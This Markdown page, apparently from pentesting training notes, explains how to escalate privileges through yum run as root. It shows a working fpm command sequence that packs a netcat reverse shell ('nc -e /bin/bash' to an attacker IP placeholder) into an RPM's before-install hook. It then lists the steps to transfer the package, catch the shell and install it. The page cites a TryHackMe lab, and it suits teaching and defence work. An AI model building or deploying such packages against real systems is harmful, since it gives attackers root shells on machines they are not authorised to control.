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29 lines
1.5 KiB
Markdown
29 lines
1.5 KiB
Markdown
# Exploiting Yum
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Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
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## Executing arbitrary commands via RPM Packages
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### Checking the Environment
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In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root.
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#### A working example of this vector
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A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com).
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### Packing an RPM
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In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm).
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The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary.
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```text
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EXPLOITDIR=$(mktemp -d)
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CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
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RPMNAME="exploited"
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echo $CMD > $EXPLOITDIR/beforeinstall.sh
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fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
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```
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## Catching a shell
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Using the above example and assuming `yum` can be executed as a higher-privileged user.
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1. **Transfer** the rpm to the host
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2. **Start** a listener on your local host such as the [example netcat listener](/shells/shells/linux#netcat)
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3. **Install** the vulnerable package `yum localinstall -y exploited-1.0-1.noarch.rpm`
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